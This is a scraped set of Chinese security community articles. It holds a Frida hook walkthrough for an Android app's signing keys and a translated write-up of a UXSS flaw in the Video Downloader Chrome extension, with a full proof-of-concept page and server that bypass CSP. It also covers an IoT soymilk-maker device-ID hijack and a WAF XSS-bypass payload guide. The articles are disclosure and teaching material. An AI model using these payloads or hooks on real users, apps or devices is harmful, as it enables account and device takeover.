8！”的状态，但这也仅仅是目前。与其抱着侥幸心理，不如按计划老老实实升级Spring。
# 参考
* Tomcat access_log配置参考文档：<https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging>
* Spring 5.3.17和5.3.18版本比较：<https://github.com/spring-projects/spring-framework/compare/v5.3.17...v5.3.18>
* Spring 5.3.18补丁提交内容：<https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15>
* Tomcat 9.0.61和9.0.62版本比较：<https://github.com/apache/tomcat/compare/9.0.61...9.0.62>
* Tomcat 9.0.62补丁提交内容：<https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c>
* LaunchedURLClassLoader源码：<https://github.com/spring-projects/spring-boot/blob/main/spring-boot-project/spring-boot-tools/spring-boot-loader/src/main/java/org/springframework/boot/loader/LaunchedURLClassLoader.java>
* * * | 社区文章 |
web方面感觉要学的东西太多。。但搜集起来也就算是一些奇淫技。。。遇到了确实有奇效，但其实成不了体系。
在纠结要不要重新复习一遍web基础，在此推荐一本《构建高性能Web站点》，虽然和安全没啥关系，但深入讲了很多web的原理。
不知道大家有没有类似的困惑？ | 社区文章 |
**目标**
安卓版本10.0.2，对其进行抓包并探索sign签名算法
**分析**
通过全局搜索sign=
在com.jingdong.sdk.gatewaysign和com.jingdong.jdsdk.network.toolbox中发现对sign的操作
由此直接hook最先的加密的class，即javax.crypto.spec.SecretKeySpec
hook构造函数，和普通的函数是有区别的，要用$init这种形式，并且要return this.$init(arg1,arg2)调用原始的函数实现
function hook(){
Java.perform(function (){
var hookclass = Java.use("javax.crypto.spec.SecretKeySpec");
hookclass.$init.overload('[B','java.lang.String').implementation = function (a,b){
var result = this.$init(a,b);
console.log("算法为： "+ b);
console.log(a);
return result;
}
});
}
setImmediate(hook);
通过返回得知
>>>算法为： HmacSHA256
>>>51,52,54,54,57,99,54,54,97,101,56,51,52,53,55,97,57,97,56,101,55,98,52,100,48,52,49,55,102,48,50,102
>>>算法为： AES
>>>92,71,-78,37,6,27,-125,-92,21,103,84,15,88,-112,-80,45
将算法为HmacSHA256进行加密得到
aed1ebaab9e61fcc51ec0ab97fb522f13deea2b57958533c4bd511871806d5b0
这与抓到的位数不同
**另寻他路**
通过全局搜索没有找到组装reqest参数的代码，判断组装代码在so文件中。在so文件libjdbitmapkit.so,通过全局搜索sign的关键词，得到了
在逐一查看的时候，发现地址00012EB0和00012C4E都写到了该调用的代码
1 **最终**
在方法中发现其调用者
即Java_com_jingdong_common_utils_BitmapkitUtils_getSignFromJni
在这个function中追踪到了代码包com.jingdong.common.utils，而调用该方法的getSignFromJni
因此，hook为
function hook(){
Java.perform(function (){
var hookclass = Java.use('com.jingdong.common.utils.BitmapkitUtils');
hookclass.getSignFromJni.implementation = function(a,b,c,d,e,f){
var result = this.getSignFromJni(a,b,c,d,e,f);
console.log(">>> hook = " + b + ' / ' + c + ' / ' + d + ' / ' + d + ' / ' + f + ' \n rc= ' + result);
return result;
}
});
}
setImmediate(hook); | 社区文章 |
# Video Downloader（Plus）Chrome插件漏洞分析：绕过CSP实现UXSS
|
##### 译文声明
本文是翻译文章，文章原作者 thehackerblog，文章来源：thehackerblog.com
原文地址：<https://thehackerblog.com/video-download-uxss-exploit-detailed/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在使用[tarnish](https://thehackerblog.com/tarnish/)扫描各种Chrome插件时，我发现[Video
Downloader for Chrome version
5.0.0.12](https://chrome.google.com/webstore/detail/video-downloader-for-chro/dcfofgiombegngbaofkeebiipcdgpnga)（820万用户）以及[Video Downloader
Plus](https://chrome.google.com/webstore/detail/video-downloader-plus/baejfnndpekpkaaancgpakjaengfpopk)（730万用户）这两款流行的Chrome插件在browser
action页面中存在跨站脚本（XSS）漏洞，受害者只需要浏览攻击者控制的某个页面就可以触发漏洞。
该漏洞之所以存在，是因为插件开发者使用字符串连接方式来构建HTML，通过jQuery将HTML动态附加到DOM。攻击者可以构造一个特殊的链接，在插件的上下文中执行任意JavaScript代码。利用该漏洞，攻击者可以滥用该插件具备的权限，包含如下权限：
"permissions": [
"alarms",
"contextMenus",
"privacy",
"storage",
"cookies",
"tabs",
"unlimitedStorage",
"webNavigation",
"webRequest",
"webRequestBlocking",
"http://*/*",
"https://*/*",
"notifications"
],
利用上述权限，攻击者可以转储浏览器所有cookie、拦截浏览器所有请求，并仿冒认证用户与所有站点进行通信。插件能做的所有事情攻击者都能做。
## 二、漏洞分析
漏洞的核心在于如下一段代码：
vd.createDownloadSection = function(videoData) {
return '<li class="video">
<a class="play-button" href="' + videoData.url + '" target="_blank"></a>
<div class="title" title="' + videoData.fileName + '">' + videoData.fileName + '</div>
<a class="download-button" href="' + videoData.url + '" data-file-name="' + videoData.fileName + videoData.extension + '">Download - ' + Math.floor(videoData.size * 100 / 1024 / 1024) / 100 + ' MB</a>
<div class="sep"></div>
</li>';
};
以上代码简直是教科书般的跨站脚本（XSS）漏洞代码。该插件会从攻击者控制的网页中提取视频链接，因此利用方式应该非常直接。然而，现实世界总跟教科书中的情况不一样，往往复杂得多。本文会详细分析漏洞利用过程中遇到的问题，也介绍了如何绕过这些限制。首先从我们的输入点开始分析，然后沿着这条路直达我们的终点。
### 利用路径
该插件使用[Content
Script](https://developer.chrome.com/extensions/content_scripts)从网页链接（`<a>`标签）以及视频链接（`<video>`标签）中收集可能存在的视频URL。Content
Scripts实际上是JavaScript代码段，运行在用户在浏览器中已经访问过的网页上（在这种情况下为用户访问过的每一个页面）。以下代码片段摘抄自该扩展的Content
Script代码：
vd.getVideoLinks = function(node) {
// console.log(node);
var videoLinks = [];
$(node)
.find('a')
.each(function() {
var link = $(this).attr('href');
var videoType = vd.getVideoType(link);
if (videoType) {
videoLinks.push({
url: link,
fileName: vd.getLinkTitleFromNode($(this)),
extension: '.' + videoType
});
}
});
$(node)
.find('video')
.each(function() {
// console.log(this);
var nodes = [];
// console.log($(this).attr('src'));
$(this).attr('src') ? nodes.push($(this)) : void 0;
// console.log(nodes);
$(this)
.find('source')
.each(function() {
nodes.push($(this));
});
nodes.forEach(function(node) {
var link = node.attr('src');
if (!link) {
return;
}
var videoType = vd.getVideoType(link);
videoLinks.push({
url: link,
fileName: vd.getLinkTitleFromNode(node),
extension: '.' + videoType
});
});
});
return videoLinks;
};
如上所示，代码会迭代处理链接及视频元素，将收集到的信息存放到`videoLinks`数组中然后返回。我们能控制的`videoLinks`元素属性为`url`（来自于`href`属性）及`fileName`（来自于`title`属性、`alt`属性或者节点的内部文本）。
`vd.findVideoLinks`函数会调用上述代码：
vd.findVideoLinks = function(node) {
var videoLinks = [];
switch (window.location.host) {
case 'vimeo.com':
vd.sendVimeoVideoLinks();
break;
case 'www.youtube.com':
break;
default:
videoLinks = vd.getVideoLinks(node);
}
vd.sendVideoLinks(videoLinks);
};
当页面加载时就会调用上面这个函数：
vd.init = function() {
vd.findVideoLinks(document.body);
};
vd.init();
提取所有链接后，插件会通过`vd.sendVideoLinks`函数将这些链接发送到插件的后台页面。插件后台页面声明的消息监听器如下所示：
chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
switch (request.message) {
case 'add-video-links':
if (typeof sender.tab === 'undefined') {
break;
}
vd.addVideoLinks(request.videoLinks, sender.tab.id, sender.tab.url);
break;
case 'get-video-links':
sendResponse(vd.getVideoLinksForTab(request.tabId));
break;
case 'download-video-link':
vd.downloadVideoLink(request.url, request.fileName);
break;
case 'show-youtube-warning':
vd.showYoutubeWarning();
break;
default:
break;
}
});
对我们来说，我们关注的是`add-video-links`这个`case`，由于我们的`send.tab`未定义（`undefined`），因此代码会使用前面构造的视频链接数据来调用`vd.addVideoLinks`。`addVideoLinks`的代码如下：
vd.addVideoLinks = function(videoLinks, tabId, tabUrl) {
...trimmed for brevity...
videoLinks.forEach(function(videoLink) {
// console.log(videoLink);
videoLink.fileName = vd.getFileName(videoLink.fileName);
vd.addVideoLinkToTab(videoLink, tabId, tabUrl);
});
};
如上代码会检查之前是否存储了与这个`tabId`对应的链接，如果不满足该情况，则会创建一个新的对象来完成该操作。插件通过`vd.getFileName`函数来遍历每个链接中的`fileName`属性，该函数的代码如下：
vd.getFileName = function(str) {
// console.log(str);
var regex = /[A-Za-z0-9()_ -]/;
var escapedStr = '';
str = Array.from(str);
str.forEach(function(char) {
if (regex.test(char)) {
escapedStr += char;
}
});
return escapedStr;
};
该函数通过链接的`fileName`属性直接扼杀了我们获得DOM-XSS漏洞的希望。函数会过滤掉与`[A-Za-z0-9()_
-]`正则表达式不匹配的任何字母，其中就包含`"`，而不幸的是我们可以通过该字符打破闭合的HTML属性。
因此留给我们的只有`url`属性，让我们继续分析。
`videoLink`会被发送到`vd.addVideoLinkToTab`函数，该函数如下所示：
vd.addVideoLinkToTab = function(videoLink, tabId, tabUrl) {
...trimmed for brevity...
if (!videoLink.size) {
console.log('Getting size from server for ' + videoLink.url);
vd.getVideoDataFromServer(videoLink.url, function(videoData) {
videoLink.size = videoData.size;
vd.addVideoLinkToTabFinalStep(tabId, videoLink);
});
} else {
vd.addVideoLinkToTabFinalStep(tabId, videoLink);
}
};
该脚本会检查链接是否包含`size`属性。在这种情况下，由于没有设置`size`，因此代码会通过`vd.getVideoDataFromServer`来获取链接地址处的文件大小：
vd.getVideoDataFromServer = function(url, callback) {
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (request.readyState === 2) {
callback({
mime: this.getResponseHeader('Content-Type'),
size: this.getResponseHeader('Content-Length')
});
request.abort();
}
};
request.open('Get', url);
request.send();
};
上述代码会发起`XMLHTTPRequest`请求来获取指定链接处文件的头部信息，然后提取其中的`Content-Type`和`Content-Length`字段。这些数据会返回给调用方，然后`videoLinks`元素的`size`属性值会被设置为`Content-Length`字段的值。该操作完成后，结果会传递给`vd.addVideoLinkToTabFinalStep`：
vd.addVideoLinkToTabFinalStep = function(tabId, videoLink) {
// console.log("Trying to add url "+ videoLink.url);
if (!vd.isVideoLinkAlreadyAdded(
vd.tabsData[tabId].videoLinks,
videoLink.url
) &&
videoLink.size > 1024 &&
vd.isVideoUrl(videoLink.url)
) {
vd.tabsData[tabId].videoLinks.push(videoLink);
vd.updateExtensionIcon(tabId);
}
};
从现在起我们会开始遇到一些问题。我们需要将URL附加到`vd.tabsData[tabId].videoLinks`数组中，但只有当我们通过如下限制条件时才能做到这一点：
!vd.isVideoLinkAlreadyAdded(
vd.tabsData[tabId].videoLinks,
videoLink.url
) &&
videoLink.size > 1024 &&
vd.isVideoUrl(videoLink.url)
`vd.isVideoLinkAlreadyAdded`只是一个简单的条件，判断`vd.tabsData[tabId].videoLinks`数组中是否已记录URL。第二个条件是判断`videoLink.size`是否大于`1024`。前面提到过，这个值来自于`Content-Length`头部字段。为了绕过检查条件，我们可以创建一个简单的Python Tornado服务器，然后创建一个通配路由，返回足够大的响应：
...trimmed for brevity...
def make_app():
return tornado.web.Application([
...trimmed for brevity...
(r"/.*", WildcardHandler),
])
...trimmed for brevity...
class WildcardHandler(tornado.web.RequestHandler):
def get(self):
self.set_header("Content-Type", "video/x-flv")
self.write( ("A" * 2048 ) )
...trimmed for brevity...
由于我们使用的是通配型路由，因此无论我们构造什么链接，服务器都会返回大小`> 1024`的一个页面，这样就能帮我们绕过这个检查条件。
下一个检查则要求`vd.isVideoUrl`函数返回`true`，该函数代码如下所示：
vd.videoFormats = {
mp4: {
type: 'mp4'
},
flv: {
type: 'flv'
},
mov: {
type: 'mov'
},
webm: {
type: 'webm'
}
};
vd.isVideoUrl = function(url) {
var isVideoUrl = false;
Object.keys(vd.videoFormats).some(function(format) {
if (url.indexOf(format) != -1) {
isVideoUrl = true;
return true;
}
});
return isVideoUrl;
};
这个检查非常简单，只是简单地确保URL中包含`mp4`、`flv`、`mov`或者`webm`。只要在`url`载荷末尾附加一个`.flv`，我们就可以简单地绕过这个限制。
由于我们已经成功满足所有条件，因此我们的`url`会被附加到`vd.tabsData[tabId].videoLinks`数组中。
将目光重新转到原始的`popup.js`脚本，该脚本中包含前面分析的存在漏洞的核心函数，我们可以看到如下代码：
$(document).ready(function() {
var videoList = $("#video-list");
chrome.tabs.query({
active: true,
currentWindow: true
}, function(tabs) {
console.log(tabs);
vd.sendMessage({
message: 'get-video-links',
tabId: tabs[0].id
}, function(tabsData) {
console.log(tabsData);
if (tabsData.url.indexOf('youtube.com') != -1) {
vd.sendMessage({
message: 'show-youtube-warning'
});
return
}
var videoLinks = tabsData.videoLinks;
console.log(videoLinks);
if (videoLinks.length == 0) {
$("#no-video-found").css('display', 'block');
videoList.css('display', 'none');
return
}
$("#no-video-found").css('display', 'none');
videoList.css('display', 'block');
videoLinks.forEach(function(videoLink) {
videoList.append(vd.createDownloadSection(videoLink));
})
});
});
$('body').on('click', '.download-button', function(e) {
e.preventDefault();
vd.sendMessage({
message: 'download-video-link',
url: $(this).attr('href'),
fileName: $(this).attr('data-file-name')
});
});
});
当用户点击浏览器中该插件图标时就会触发上述代码。插件会利用Chrome插件API来请求当前标签页的元数据（metadata），从元数据中获取的ID，然后将`get-video-links`调用发送到后台页面。负责这些操作的代码为`sendResponse(vd.getVideoLinksForTab(request.tabId));`，该代码会返回前面我们讨论过的视频链接。
插件会遍历这些视频链接，将每个链接传递给本文开头处提到过的`vd.createDownloadSection`函数。该函数会通过HTML拼接操作来生成一个较大的字符串，再由jQuery的[`.append()`](http://api.jquery.com/append/)函数附加到DOM中。将用户输入的原始HTML数据传到`append()`函数正是典型的跨站脚本（XSS）场景。
现在似乎我们可以将我们的载荷原封不动地传递到存在漏洞的函数中！然而现在想欢呼胜利还为时过早。我们还需要克服另一个困难：内容安全策略（Content
Security Policy，CSP）
### 内容安全策略
有趣的是，该插件所对应的CSP并没有在`script-src`指令中包含`unsafe-eval`，部分信息摘抄如下：
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com; style-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src *; object-src 'self'
从上述CSP中我们可以看到`script-src`指令的内容如下：
script-src 'self' https://www.google-analytics.com https://ssl.google-analytics.com https://apis.google.com https://ajax.googleapis.com
这个策略会阻止我们引用任意站点的源代码，禁止我们使用内联JavaScript声明（比如`<script>alert('XSS')</script>`）。我们能执行JavaScript的唯一方法就是引用如下站点的源：
* `https://www.google-analytics.com`
* `https://ssl.google-analytics.com`
* `https://apis.google.com`
* `https://ajax.googleapis.com`
当我们想绕过CSP策略时，如果看到`script-src`指令中同时包含`https://apis.google.com`以及`https://ajax.googleapis.com`是非常好的一件事。这些站点上托管着许多JavaScript库，也包含JSONP端点：这两者对我们绕过CSP而言都非常有用。
> 注意：如果我们想判断某个站点是否不适合加入CSP中，可以使用一些天才的Google员工所开发的[CSP评估工具](https://csp-> evaluator.withgoogle.com/)，这里特别要感谢@we1x。
这里再说一些题外话，大家可以了解一下 [`H5SC Minichallenge 3: "Sh*t, it's
CSP!"`](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22)比赛，其中参赛者必须在某个页面上获得XSS利用点，而该页面只将`ajax.googeapis.com`加入站点白名单中。这个[挑战](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22#rules)与我们当前面临的处境非常相似。
这个挑战有多种解法，其中比较机智的解法是使用如下载荷：
"ng-app ng-csp><base href=//ajax.googleapis.com/ajax/libs/><script src=angularjs/1.0.1/angular.js></script><script src=prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert(1337
提供该解法的参赛者提到如下一段话：
>
> 这种解法非常有趣，将Prototype.js与AngularJS结合起来就能实现滥用目标。AngularJS可以成功禁止用户使用其集成的沙盒来访问窗口，然而Prototype.JS使用了`curry`属性扩展了代码功能。一旦在该属性上使用`call()`调用，就会返回一个窗口对象，而AngularJS不会注意到这个操作。这意味着我们可以使用Prototype.JS来获取窗口，然后几乎可以执行该对象的所有方法。
>
> 在白名单中的Google-> CDN站点提供了比较过时的AngularJS版本以及Prototype.JS，这样我们就能访问窗口操作所需的数据，并且不需要用户操作就能完成该任务。
修改这个载荷后，我们也可以将其用在这个扩展上。如下载荷使用了相同的技术来执行`alert('XSS in Video Downloader for
Chrome by mandatory')`：
"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')}}<!--
点击插件图标后，就会弹出警告窗口，如下所示：
现在我们已经可以在插件上下文中执行任意JavaScript代码，也能滥用该插件能访问的所有Chrome插件API。然而，攻击过程中我们的确需要用户在我们的恶意页面上点击插件图标。在构造利用路径时，我们最好不要将弱点暴露给别人，因此我们还是要尝试下无需用户交互的利用过程。
回到`manifest.json`，我们可以看到`web_accessible_resources`指令的值如下：
"web_accessible_resources": [
"*"
]
这里只使用了一个通配符，意味着任意网页都可以以`<iframe>`方式引用插件中包含的任意资源。在这种情况下，我们需要包含的资源是`popup.html`页面。通常情况下，只有当用户点击插件图标时才会显示该页面。以`<iframe>`方式引用该页面，再配合我们之前构造的载荷后，我们就能获得无需用户交互的漏洞利用方式：
最终载荷如下所示：
<!DOCTYPE html>
<html>
<body>
<a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')}}<!--.flv">test</a>
<iframe src="about:blank" id="poc"></iframe>
<script>
setTimeout(function() {
document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
}, 1000);
</script>
</body>
</html>
如上代码可以分为两部分：第一部分，为当前的标签页设置`videoLinks`数组。第二部分，在1秒后触发利用代码，设置`iframe`源地址为`chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html`（即popup页面）。最终PoC代码（包含Python服务器在内的所有代码）如下所示：
import tornado.ioloop
import tornado.web
class MainHandler(tornado.web.RequestHandler):
def get(self):
self.write("""
<!DOCTYPE html>
<html>
<body>
<a href="https://"ng-app ng-csp><script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js></script><script src=https://ajax.googleapis.com/ajax/libs/prototype/1.7.2.0/prototype.js></script>{{$on.curry.call().alert('XSS in Video Downloader for Chrome by mandatory')}}<!--.flv">test</a>
<iframe src="about:blank" id="poc"></iframe>
<script>
setTimeout(function() {
document.getElementById( "poc" ).setAttribute( "src", "chrome-extension://dcfofgiombegngbaofkeebiipcdgpnga/html/popup.html" );
}, 1000);
</script>
</body>
</html>
""")
class WildcardHandler(tornado.web.RequestHandler):
def get(self):
self.set_header("Content-Type", "video/x-flv")
self.write( ("A" * 2048 ) )
def make_app():
return tornado.web.Application([
(r"/", MainHandler),
(r"/.*", WildcardHandler),
])
if __name__ == "__main__":
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
## 三、披露及缓解措施
由于我找不到该插件任何一名开发者的明显联系方式（Chrome插件页面上给出的联系方式非常有限），因此我联系了Google方面从事Chrome插件安全性研究的一些人。小伙伴们通知了插件开发者，及时推出了修复补丁。这两款插件的最新版都修复了本文提到的漏洞。与此同时，当使用该插件的用户自动更新插件版本后我们才发表这篇文章，因此大家应该都已打好补丁。
## 四、总结
如果大家有任何问题或者建议，可以随时[联系我](https://twitter.com/IAmMandatory)。如果想自己查找一些Chrome插件程序的漏洞，可以尝试使用我开发的[tarnish](https://thehackerblog.com/tarnish/)扫描器，应该能帮大家入门（工具源代码请访问[Github](https://github.com/mandatoryprogrammer/tarnish)）。如果想了解关于Chrome插件安全性方面的简介，可以参考“[Kicking
the Rims – A Guide for Securely Writing and Auditing Chrome
Extensions](https://thehackerblog.com/kicking-the-rims-a-guide-for-securely-writing-and-auditing-chrome-extensions/)”这篇文章。 | 社区文章 |
# 【HackPwn2015】九阳智能豆浆机破解细节分析
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
九阳DJ08B-D667SG豆浆机是一款智能豆浆机,可以通过配置WIFI连入互联网,用户可以通过“九阳云家电”手机app对豆浆机进行远程控制,实现远程开启、关闭豆浆机等功能。
## 0x01分析工作流程
在对豆浆机初步使用和分析之后,我们推测其工作流程如下图所示:
当豆浆机和手机不在同一局域网环境内时,豆浆机和云端保持连接,手机通过app向云端发送控制指令,云端收到指令后会向豆浆机发送启动指令。
当豆浆机和手机在同一局域网环境内时,手机直接向豆浆机发送指令。
### 分析攻击点
通过流程分析,发现设备一般处于无线路由器的内网中,想直接发送指令比较困难,而控制云端直接发送指令难度较大,所以要想对设备进行批量劫持,最快速有效的途径就是在移动设备到云端的通信中进行劫持攻击。
## 0x02漏洞挖掘
将设备和手机连入不同的wifi环境内,在app中点击启动快速豆浆,使用wireshark抓包分析。发现手机给云端发送的数据包并没有加密,通过对数据包尝试重放,发现豆浆机仍然可以启动,表明没有防重放机制。
通过分析发现,在远程启动豆浆机的过程中,手机向云端共推送了三个数据包,我们抓取了两台不同豆浆机的控制指令,分析其中的不同以及可能进行劫持的地方。
手机向云端发送的启动两台不同豆浆机的命令的16进制数据包格式如下:
**豆浆机一:**
bb00000100078bdcbfc30e4d47822cd7086159df8a0037010001eea00030078bdcbfc30e4d47822cd7086159df8a974d13172a5b4e6e9bf8da0c13a7cae900000000000000000000000000000000
cc00000100000b00000100b0000400020000
cc00000100000700000100b20000
**豆浆机二:**
bb000001001e386b143bcc45738d782eededcf0bcb0027010002ee0000201e386b143bcc45738d782eededcf0bcbb724f10d9b99490a927031b41aac4de100000000000000000000000000000000
cc00000100000b00000100b0000400020000
cc00000100000700000100b20000
通过分析发现,手机向云端发送的用于控制两个设备的数据包仅有两处不同(标红位置),并且是一模一样的32位字符串。那么这个32位的字符串是什么呢?
通过继续对数据包的搜索分析,发现在手机打开app时有如下的http请求:
在http请求返回包中的did参数中我们找到了这个字符串,根据参数的命名猜测,did这个参数的大意应该是deviceid,也就是设备id的意思。于是我们推测,在启动豆浆机的过程中,九阳没有做有效的身份认证,只需要知道设备的deviceid便可以直接启动豆浆机。
那么我们要如何获取别人的did呢?通过观察http请求时的参数,发现did是根据sessionkey获取的,请求如下:
http://xxx.joyoung.com/ia/appapi/userdev?param={"sessionkey":"bcaaef7a1b554039b741391946xxxxxx","op_action":"query"}
sessionkey是九阳分配给用户的身份认证信息,sessionkey一旦生成是不会改变的,拥有了用户的sessionkey我们不仅可以获取到用户的各种信息,还可以对用户的账户资料、头像等进行更改。
我们继续搜索数据包,发现sessionkey是这样获取的。
http://xxx.joyoung.com/ia/appapi/user?param={"op_action":"regTempUser","mob_data":{"mobile_id":"866251020xxxxxx"}}
发现是根据一个叫做mobile_id的参数来获取的sessionkey,那么这个mobile_id又是什么呢?通过逆向apk,我们从源代码中分析出,这个mobile_id其实就是手机的imei串号。
总结我们刚才的分析,我们整理出了这样的攻击思路:
通过imei串号获取用户sessionkey→通过sessionkey获取设备id→通过设备id直接控制设备。
## 0x03漏洞利用
编写一个python脚本遍历获取设备id:
经过一段时间后,我们通过遍历获得到了一批did。
当我们拿到了这一批设备id之后,可以直接向云端发包来批量启动和控制豆浆机。想想还有点小激动呢~
## 0x04总结
总结起来,九阳这款豆浆机还是暴露出了诸多当前智能硬件厂商普遍存在的安全问题:
1.敏感数据在传输中没有进行任何加密,导致黑客可轻易获取控制指令、设备id等明文信息。
2.对于设备控制没有做有效的身份认证,只是将设备id等单一因素作为身份鉴权标识,导致黑客可以通过伪造、遍历等手段轻易控制其他设备。
3.云平台上存在传统的web方面的漏洞,导致攻击者可以越权获取到其他用户的设备信息。之前九阳的云平台还曝出过多个sql注入等高风险的web安全漏洞,这也是当前诸多智能硬件厂商普遍存在的安全问题。 | 社区文章 |
# 绕过WAF的XSS检测机制
##### 译文声明
本文是翻译文章，文章原作者 s0md3v，文章来源：github.com
原文地址：<https://github.com/s0md3v/MyPapers/tree/master/Bypassing-XSS-detection-mechanisms>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文提出了一种定义明确的方法来绕过跨站点脚本（XSS）安全机制，通过发送探针并编写payload用于检测恶意字符串的规则。拟议的方法包括三个阶段：确定payload结构，测试和混淆。
为给定上下文确定各种payload结构提供了最佳测试方法,下一阶段涉及针对目标安全机制测试各种字符串。分析目标响应情况以便做出假设。
最后，必要时可以将payload进行混淆或其他调整。
## 介绍
跨站点脚本（XSS）是最常见的Web应用程序漏洞之一。通过清理用户输入，基于上下文转义输出，正确使用文档对象模型（DOM）接收器和源，实施适当的跨域资源共享（CORS）策略和其他安全策略，可以完全阻止它。尽管这些防御技术是公共知识，但Web应用程序防火墙（WAF）或自定义过滤器被广泛用于添加另一层安全性，以保护Web应用程序免受人为错误或新攻击媒介引入的漏洞的利用。虽然WAF供应商仍在尝试机器学习，但正则表达式仍然是最常用的检测恶意字符串的方法。本文提出了一种构建XSS
payload的方法，该payload与这种安全机制使用的正则表达式不匹配。
## HTML CONTEXT
当用户输入被显示在网页的HTML代码中时，它被称为在HTML上下文中。 HTML上下文可以进一步根据显示位置划分为内标签和外标签。
* **内标签** –`<input type="text" value="$input">`
* **外标签** –`<span>You entered $input</span>`
### 外标签
此上下文的`<`负责启动HTML标签。根据HTML规范，标签名称必须以字母开头。利用此规范，可以使用以下探针来确定用于匹配标签名称的正则表达式：
* `<svg` – 如果通过，则不进行任何标签检查
* `<dev` – 如果失败，`<[a-z]+`
* `x<dev` – 如果通过，`^<[a-z]+`
* `<dEv` – 如果失败， `<[a-zA-Z]+`
* `<d3V` – 如果失败， `<[a-zA-Z0-9]+`
* `<d|3v` – 如果失败， `<.+`
如果安全机制不允许这些探针，则不能绕过它。由于误报率高，这种严格的规则不被鼓励去使用。
如果上述的任何一个探针未被禁止，则有许多编写payload的方案。
**Payload方案#1**
`<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}`
找到适当的`{tag}`值后，下一步是猜测用于匹配标签和事件处理程序之间填充符部分的正则表达式。此操作可以通过以下探针执行：
* `<tag xxx` – 如果失败，`{space}`
* `<tag%09xxx` – 如果失败，`[s]`
* `<tag%09%09xxx` -如果失败， `s+`
* `<tag/xxx` – 如果失败，`[s/]+`
* `<tag%0axxx`-如果失败， `[sn]+`
* `<tag%0dxxx>`-如果失败， `[snr+]+`
* `<tag/~/xxx` – 如果失败， `.*+`
事件处理程序是payload结构中最重要的部分之一。它通常与种类的一般正则表达式`onw+`或黑名单相匹配，例如`on(load|click|error|show)`。第一个正则表达式非常严格且不可能被绕过，然而有些不太知名的事件处理程序可能不在黑名单中，经常可以被绕过。因此可以通过两个简单的检查来识别所使用的类型。
* `<tag{filler}onxxx` – 如果失败，`onw+`.
* * 如果通过， `on(load|click|error|show)`
* `<tag{filler}onclick` – 如果通过，则没有事件处理程序检查正则表达式。
如果正则的结果是`onw+`，则不能绕过它，因为所有事件处理程序都以on开始。在这种情况下，应该继续下一个payload。如果正则表达式遵循黑名单方法，则需要查找未列入黑名单的事件处理程序。如果所有事件处理程序都列入黑名单，则应继续执行下一个payload。
根据我对WAF的经验，我发现一些事件处理程序没有在黑名单中：
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
下一个要执行的组件是JavaScript代码。它是payload的活动部分，但是匹配它不需要假设正则表达式，因为JavaScript代码是活动的，因此无法通过预定义模式进行匹配。
此时，payload的所有组件都放在一起，只需要关闭payload，通过以下方式完成：
* `<payload>`
* `<payload`
* `<payload{space}`
* `<payload//`
* `<payload%0a`
* `<payload%0d`
* `<payload%09`
应该注意的是，HTML规范允许`<tag{white space}{anything here}>`这表明例如：
`<a href='http://example.com' ny text can be placed here as long as there's a
greater-than sign somewhere later in the HTML document>`
是有效的HTML标签。因此，HTML标签的此属性使攻击者可以通过上述方式注入标签。
**Payload方案#2**
`<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}`
测试填充符（例如结束字符串）类似先前的payload方案。必须注意的是，`?`可以在URL的末尾使用（如果在URL之后没有使用填充符），而不是结束标记。每个经过`?`的字符都将被视为URL的一部分，直到遇到`>`。通过使用`<script>`标记，很可能会被大多数安全规则检测到。
标签`<object>`的payload可以用类似的payload方案编写：
`<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}`
**Payload方案#3**
这个payload方案有两种变体：plain和obfuscatable。
plain变体通常与诸如`href[s]{0,}=[s]{0,}javascript:`模式相匹配。其结构如下：
`<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}`
obfuscatable payload变体有如下结构：
`<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}`
这两个变体之间的显著差异是`{special}`组件和`{quote}`s。`{special}`指字符串`javascript`的混淆版本，这可以使用换行符和水平制表符来混淆，如下所示：
* `j%0aAv%0dasCr%09ipt:`
* `J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:`
* `J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:`
在某些情况下，数字字符编码也可用于绕过检测。可以使用十进制和十六进制。
* `Javascript:`
* `javascript:`
显然有必要时两种混淆技术可以一起使用。
* `Java%0a%0d%09script:`
**可执行和不可执行上下文**
根据注入的payload是否可以在没有任何特殊帮助的情况下执行，外标签上下文可以进一步分为 **可执行** 和 **不可执行**
